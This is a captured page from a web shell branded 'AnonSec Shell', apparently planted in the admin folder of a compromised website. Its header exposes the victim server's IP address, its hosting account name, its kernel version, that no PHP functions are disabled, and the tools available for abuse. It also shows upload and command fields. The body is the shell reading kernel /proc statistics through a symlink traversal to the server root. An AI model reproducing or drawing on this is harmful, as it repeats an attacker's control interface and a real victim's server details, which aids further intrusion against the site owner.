AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 18.223.171.4
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/proc/thread-self/root/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          6          0          0          0          0          4          0          0
       TIMER:   27315338   28383903   69063913   30730635   34463809   33200815  128001453   41647709
      NET_TX:       1080       1138        703       1058        836       1376     174822        926
      NET_RX:   95229275   99423258   96454560  103475055  109133642  113654241   99266243   99738104
       BLOCK:   11807930   11998849  120942865    1873494   10515091    1428446    1223868   13520700
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    3247850    3576302    3042296    4145160    3992590    4875794    3601700    3394792
       SCHED:  120976625   93280669  114166599   77660256   80356625   77531477  134883671   85069071
     HRTIMER:        249        469        412        194        215        332        172        170
         RCU:  141045630  127290295  127335067  116142856  109732123  115668218  146181836  122881365

Anon7 - 2022
AnonSec Team